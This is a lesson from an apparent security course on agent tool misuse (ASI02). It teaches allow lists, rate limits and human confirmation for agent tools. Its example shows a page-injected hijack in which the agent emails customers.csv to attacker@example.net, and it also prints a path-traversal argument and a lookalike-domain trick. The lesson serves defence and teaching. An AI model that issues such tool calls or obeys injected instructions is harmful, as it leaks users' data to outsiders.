Day 4 of 1260 minCipher CadetHands-on lab
Day 4: ASI02 Tool Misuse: Right Tool, Wrong Use
Taught by Mr Elite Updated
By the end of today you can
- Explain ASI02 Tool Misuse and why a legitimate tool can still cause harm
- Write an allow list, a limit and a confirmation rule for an agent tool
- Judge a tool call by its arguments, not only by its name
- Complete the tool policy lab and save your rules with a reason for each
Warm-up
Answer from memory first, then tap to check. Recalling yesterday is what makes it stick.
What is the difference between direct and indirect prompt injection?
Direct comes from the user typing to the agent. Indirect hides in content the agent reads, such as a web page or file.
Why does a hijacked sentence become dangerous only when the agent has tools?
Tools turn text into real actions such as sending email or running code. Without tools the agent can only produce words.
Picture an agent that can send email. Nobody hacked it. The email tool works exactly as designed. But a fetched web page told the agent to email a customer list to an outside address, and the agent did it. The tool was the right tool. The use was wrong.
That is ASI02 Tool Misuse and Exploitation. Yesterday we saw a goal get hijacked. Today we deal with the next question: once the goal is bent, what stops the damage? The answer is tool rules, and you will write some today.
What ASI02 actually means
A tool is any ability you give an agent beyond talking: fetching pages, reading files, sending email, running code, opening tickets. ASI02 is the risk that an agent uses one of those tools in a way that causes harm, even though the tool itself is legitimate and working properly.
This is different from a software bug. Nothing is broken. The agent was allowed to send email, and it sent email. The harm lives in the arguments: who it sent to, what it attached, how often it did it.
- Tool
- An action the agent can take, such as send_email or run_code.
- Arguments
- The values passed to a tool, such as the recipient address or the file path.
- Tool call
- One request from the agent to use a tool with specific arguments.
Here is what a tool call looks like once the agent has decided to act. Agents usually produce something like this, and your code then runs it. Read it as two parts: the name, which says which tool, and the arguments, which say exactly how.
{"tool": "send_email", "arguments": {"to": "attacker@example.net", "subject": "Customer list", "attachment": "customers.csv"}}If your only defence is a rule that says 'the agent may use send_email', this call passes. If your defence looks at the arguments, it fails at once. That gap between name and arguments is the whole of today's topic.
It also helps to see where ASI02 sits next to yesterday's topic. A goal hijack changes what the agent is trying to do. Tool misuse is what that change turns into in the real world. Even without a hijack, a confused or over-eager agent can misuse a tool by accident, so the rules help in both cases.
Right tool, wrong use: four ways it goes bad
Misuse tends to fall into a few patterns. Learn to spot them and you will see them in every agent design you meet.
Quick check
An agent with a working file-reader tool is made to open a file of stored passwords. Which pattern is this?
The tool did its job but reached beyond the folder it should have been limited to, which is a scope problem.
Chaining deserves a second look because it is the pattern people miss. If you review each tool call alone, read_file on a config file looks fine and send_email to a colleague looks fine. Seen as a sequence, the agent has read a secret and then sent it somewhere. So when you review an agent, read the whole trace in order, not one call at a time.
Volume is the other quiet one. A single call is rarely the problem. A loop that repeats the call hundreds of times is. This is why limits count calls over time as well as checking each call.
Tool rules: allow lists, limits and confirmations
Three kinds of rule do most of the work. An allow list says what is permitted and denies everything else. A limit caps how much or how often. A confirmation makes a human approve risky calls before they run.
- Allow list
- A list of permitted values. Anything not on it is blocked by default.
- Limit
- A cap on size, count or rate, such as 5 emails per hour.
- Confirmation
- A step where a person approves the exact call before it happens.
Allow lists beat block lists. A block list tries to name every bad thing, and attackers find the one you forgot. An allow list names the few good things and refuses the rest.
Each rule type answers a different failure. The allow list answers wrong target and too much scope. The limit answers too much volume and puts a ceiling on any leak that slips past. The confirmation answers the calls you cannot judge automatically, such as an email that carries an attachment.
There is one trap with allow lists, and it is about the text of an argument versus what it points to. A path such as /reports/../secrets.txt starts with the allowed folder, yet it leads outside it. The rule has to check where the path really ends up. You can see this on your own machine in a minute.
from pathlib import Path
base = Path("/tmp/reports").resolve()
asked = Path("/tmp/reports/../secrets.txt").resolve()
print(asked)
print(asked.is_relative_to(base))On Mac or Linux the output is /tmp/secrets.txt followed by False. On Windows the first line starts with a drive letter, such as C:\tmp\secrets.txt, and the second line is still False. The text began with the allowed folder, but the real destination is outside it, so the rule correctly refuses. A rule that only compared the start of the text would have let it through.
Watch me do it: write a policy for one tool
I will write rules for a send_email tool on paper first. Do this in your notes app alongside me. No real email is sent anywhere. We are only writing the policy, then testing it by hand against some made-up calls.
Now turn those notes into config. This is the same policy in a form that code can read and enforce. Type it into your notes under the heading 'policy'.
tool: send_email
allow:
recipient_domain: "ourcompany.example"
limits:
per_hour: 5
max_attachments: 1
max_attachment_mb: 1
confirm:
when: "attachments > 0"
default: denyA policy is only useful if you test it. So write down these five made-up calls and decide for yourself what your rules do with each one before you read my answers.
Call 1: to anna@ourcompany.example, no attachment
Call 2: to attacker@example.net, attachment customers.csv
Call 3: to ben@ourcompany.example, attachment report.pdf (0.4 MB)
Call 4: to anna@ourcompany.example, the sixth email this hour
Call 5: to ben@ourcompany.example.evil.test, no attachmentMy answers. Call 1 is ALLOWED: right domain, nothing risky. Call 2 is DENIED: the domain is not on the allow list, so it never reaches the attachment question. Call 3 is HELD for a human, because the domain is fine but the attachment triggers the confirmation. Call 4 is DENIED by the limit of 5 per hour, even though the recipient is fine.
Call 5 is the sneaky one, and it is DENIED. It starts with a real-looking address, but the actual domain, the part after the final @ sign, is ourcompany.example.evil.test, which is not ourcompany.example. A good rule compares the whole domain exactly, never just the start. If you ALLOWED it, change your rule wording to say 'domain must equal', then reread the call.
Notice what happened across all five. Even if a poisoned page convinces the agent to email a customer list outward, the call fails the allow list before it leaves. The agent's opinion never mattered, because the rule runs outside it.
Quick check
Why is 'default: deny' the safer choice than listing recipients to block?
An allow list with default deny blocks the cases you did not anticipate, while a block list only stops what you named.
Lab: Whose Instruction Was That?
Now the real practice. In the lab, a research agent can fetch pages, read files, send email, run code and open tickets. A fetched page took control of it. You have recorded traces of what it did. Your job is to set tool rules, then replay the traces and see whether your rules stop the hijack without breaking normal work.
Treat it as the same exercise you just did on paper, but with five tools instead of one and with real recorded behaviour. The balance matters. Rules that block everything look safe but make the agent useless, and a useless agent gets its rules switched off.
Your turn
Whose Instruction Was That?
Today's lesson is about rules that sit outside the agent. This lab gives you real recorded traces of a hijack, so you can see which tool calls were harmful and write rules that stop them while leaving normal work alone.
What to try
What to notice
- Which tools are dangerous because of their arguments rather than their name
- Whether blocking too much also stops the agent doing its real job
- How chaining two harmless calls can still produce harm
If it did not work
Blocking the tool entirely instead of limiting its use
If the agent cannot do its job, people will switch the rules off. Allow the tool, then narrow targets, volume and scope.
Using a block list of bad values
Switch to an allow list with default deny. You cannot name every bad address or path in advance.
Trusting the agent to apply the rules itself
Enforce rules in code outside the agent. A hijacked agent can be talked out of any rule it is only told about.
Judging calls by tool name only
Check the arguments too. send_email is fine to one recipient and harmful to another.
Recap
- ASI02 is harm done with a legitimate tool, not a broken one
- Harm lives in the arguments: target, scope, volume and chaining
- Allow lists with default deny beat block lists
- Limits cap the damage when something slips through
- Confirmations put a human in front of risky calls
- Rules must be enforced outside the agent, never left to its judgement
Cheat sheet
ASI02- Tool Misuse and Exploitation: legitimate tools used in harmful ways
Allow list- Only listed values are permitted, all else denied
Limit- Cap on size, count or rate
Confirmation- Human approves the exact call first
default: deny- Refuse anything not explicitly allowed
Chaining- Harmless calls combined to cause harm
Before the next day
Mission: Tool policy lab and rule notes
Finish the tool policy lab and keep a record of the rules you wrote. A rule with a reason is one you can defend to a teammate, and tomorrow we use the same thinking on permissions.
About 35 min
You are done when: A notes file listing your tool rules, each with a one-line reason, plus a screenshot of the lab replay.
Want more? Pick an agent tool you use or have read about and write an allow list, a limit and a confirmation rule for it, with reasons.
Quiz
4 questions. Your score is saved with your progress.
1. What best describes ASI02 Tool Misuse?
ASI02 is about legitimate tools used harmfully, so the problem is the use, not a fault in the tool.
2. A rule says the agent may read files only in /reports. A hijacked call asks for /reports/../secrets.txt. What does this show?
Arguments can be crafted to look allowed. A good rule checks what the argument actually points to.
3. Why enforce tool rules outside the agent?
Because agents cannot reliably separate instructions from data, only code outside the agent gives a firm guarantee.
4. Which pair makes the strongest protection for a risky email tool?
An allow list narrows targets and a confirmation puts a person in front of the riskiest case.
Finish the day
Mark the day complete to save your progress.
Next: Day 5 covers ASI03 Identity and Privilege Abuse. Tool rules limit what an agent does, and tomorrow we also shrink what it is allowed to be, cutting its permissions to the minimum its job needs.
Your notes
Private to this device. Write what you want to remember from today.